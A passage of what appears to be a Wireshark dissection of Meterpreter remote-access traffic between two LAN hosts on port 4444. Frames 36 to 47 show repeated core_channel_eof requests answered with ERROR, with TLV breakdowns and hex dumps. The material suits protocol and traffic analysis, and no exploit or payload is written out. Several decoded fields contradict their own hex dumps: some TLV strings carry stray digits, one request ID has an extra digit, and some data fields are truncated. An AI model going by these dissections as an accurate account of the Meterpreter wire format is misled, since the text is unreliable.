    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023336383333230333736373830323330031... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 333638333230333736373830323330313836353831303534... [Value] 36832037678023018658105449864587
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 02 40 00 40 06 52 d4 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 18 5d a3 78 a5 65 50 18   .).\.P.}.].x.eP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  36 38 33 32 30 33 37 36 37 38 30 32 33 30 31 38   6832037678023018
0070  36 35 38 31 30 35 34 34 39 38 36 34 35 38 37 00   658105449864587.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     36 904.864638     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2063 Ack=1600
Win=2052 Len=86
Frame 36: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2063, Ack: 1600, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002333638333230333736373830323330031... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 333638333230333736373830323330313836353831303534... [Value] 36832037678023018658105449864587
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c0 40 00 80 06 6a 16 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a5 65 2e 7d 18 b3 50 18   .*.P.\.x.e.}..P.
0030  08 04 04 00 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  36 38 33 32 30 33 37 36 37 38 30 32 33 30 31 38   6832037678023018
0070  36 35 38 31 30 35 34 34 39 38 36 34 35 38 37 00   658105449864587.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     37 965.106216     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1600 Ack=2149 Win=96
Len=86
Frame 37: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1600, Ack: 2149, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023439313335303835383338313733303034... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 34393133353038353833383137333034303835343234373735... [Value] 49135085838173040854247512014809
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 04 40 00 40 06 52 d2 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 18 b3 a3 78 a5 bb 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  39 31 33 35 30 38 35 38 33 38 31 37 33 30 34 30   9135085838173040
0070  38 35 34 32 34 37 35 31 32 30 31 34 38 30 39 00   854247512014809.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     38 965.107204     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2149 Ack=1686
Win=2052 Len=86
Frame 38: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2149, Ack: 1686, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343931333530383538333831373330343034... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3439313335303835383338313733303430383534323437353... [Value] 49135085838173040854247512014809
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c1 40 00 80 06 6a 15 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a5 bb 2e 7d 19 09 50 18   .*.P.\.x...}..P.
0030  08 04 06 63 00 00 00 00 00 56 00 00 00 01 00 00   ...c.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  39 31 33 35 30 38 35 38 33 38 31 37 33 30 34 30   9135085838173040
0070  38 35 34 32 34 37 35 31 32 30 31 34 38 30 39 00   854247512014809.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     39 1025.419150    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1686 Ack=2235 Win=96
Len=86
Frame 39: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1686, Ack: 2235, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002393036303835363139343138333439333... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 393036303835363139343138333439333335363335373330... [Value] 90608561941834933563573042460868
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 06 40 00 40 06 52 d0 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 19 09 a3 78 a6 11 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  30 36 30 38 35 36 31 39 34 31 38 33 34 39 33 33   0608561941834933
0070  35 36 33 35 37 33 30 34 32 34 36 30 38 36 38 00   563573042460868.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     40 1025.420214    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2235 Ack=1772
Win=2052 Len=86
Frame 40: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2235, Ack: 1772, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002393036303835363139343138333343933... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 39303630383536313934313833343933335363335373330... [Value] 90608561941834933563573042460868
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c3 40 00 80 06 6a 13 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a6 11 2e 7d 19 5f 50 18   .*.P.\.x...}._P.
0030  08 04 0a a1 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  30 36 30 38 35 36 31 39 34 31 38 33 34 39 33 33   0608561941834933
0070  35 36 33 35 37 33 30 34 32 34 36 30 38 36 38 00   563573042460868.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     41 1085.765198    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1772 Ack=2321 Win=96
Len=86
Frame 41: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1772, Ack: 2321, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000239333932333733313236323933353339... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3933393233373331323632393335333930353633363634333... [Value] 93923731262935390563664321261529
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 08 40 00 40 06 52 ce c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 19 5f a3 78 a6 67 50 18   .).\.P.}._.x.gP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  33 39 32 33 37 33 31 32 36 32 39 33 35 33 39 30   3923731262935390
0070  35 36 33 36 36 34 33 32 31 32 36 31 35 32 39 00   563664321261529.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     42 1085.766672    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2321 Ack=1858
Win=2051 Len=86
Frame 42: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2321, Ack: 1858, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002393339323337333132363239333353339... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 393339323337333132363239333533393035363336363433... [Value] 93923731262935390563664321261529
Meterpreter protocol, TLV details
    Data: 0000000c0002000400000001 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c4 40 00 80 06 6a 12 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a6 67 2e 7d 19 b5 50 18   .*.P.\.x.g.}..P.
0030  08 03 fa 0e 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  33 39 32 33 37 33 31 32 36 32 39 33 35 33 39 30   3923731262935390
0070  35 36 33 36 36 34 33 32 31 32 36 31 35 32 39 00   563664321261529.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     43 1146.079371    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1858 Ack=2407 Win=96
Len=86
Frame 43: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1858, Ack: 2407, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000234313532333631303634383234393730... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 34313532333631303634383234393730353237343338383835... [Value] 41523610648249705274388558752722
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 0a 40 00 40 06 52 cc c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 19 b5 a3 78 a6 bd 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  31 35 32 33 36 31 30 36 34 38 32 34 39 37 30 35   1523610648249705
0070  32 37 34 33 38 38 35 35 38 37 35 32 37 32 32 00   274388558752722.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     44 1146.080834    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2407 Ack=1944
Win=2051 Len=86
Frame 44: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2407, Ack: 1944, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343135323336313036343832343939373730... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 34313532333631303634383234393730353237343338383835... [Value] 41523610648249705274388558752722
Meterpreter protocol, TLV details
    Data: 0000000c0002000400000001 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c5 40 00 80 06 6a 11 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a6 bd 2e 7d 1a 0b 50 18   .*.P.\.x...}..P.
0030  08 03 08 4f 00 00 00 00 00 56 00 00 00 01 00 00   ...O.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  31 35 32 33 36 31 30 36 34 38 32 34 39 37 30 35   1523610648249705
0070  32 37 34 33 38 38 35 35 38 37 35 32 37 32 32 00   274388558752722.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     45 1206.362645    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1944 Ack=2493 Win=96
Len=86
Frame 45: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1944, Ack: 2493, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002303334333038323538353137343731 35... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 303334333038323538353137343731353833333132353937... [Value] 03430825851747158331259743444859
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 0c 40 00 40 06 52 ca c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1a 0b a3 78 a7 13 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  33 34 33 30 38 32 35 38 35 31 37 34 37 31 35 38   3430825851747158
0070  33 33 31 32 35 39 37 34 33 34 34 34 38 35 39 00   331259743444859.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     46 1206.363816    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2493 Ack=2030
Win=2051 Len=86
Frame 46: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2493, Ack: 2030, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023033343330383235383531373437313135... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 30333433303832353835313734373135383333313235393... [Value] 034308258517471583312597434444859
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c6 40 00 80 06 6a 10 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a7 13 2e 7d 1a 61 50 18   .*.P.\.x...}.aP.
0030  08 03 f5 b4 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  33 34 33 30 38 32 35 38 35 31 37 34 37 31 35 38   3430825851747158
0070  33 33 31 32 35 39 37 34 33 34 34 34 38 35 39 00   331259743444859.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     47 1266.650383    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2030 Ack=2579 Win=96
Len=86
Frame 47: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2030, Ack: 2579, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002393631313133383735303138303936... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 393631313133383735303138303936363035313037373730... [Value] 96111387501809660510777085184794
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 0e 40 00 40 06 52 c8 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1a 61 a3 78 a7 69 50 18   .).\.P.}.a.x.iP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
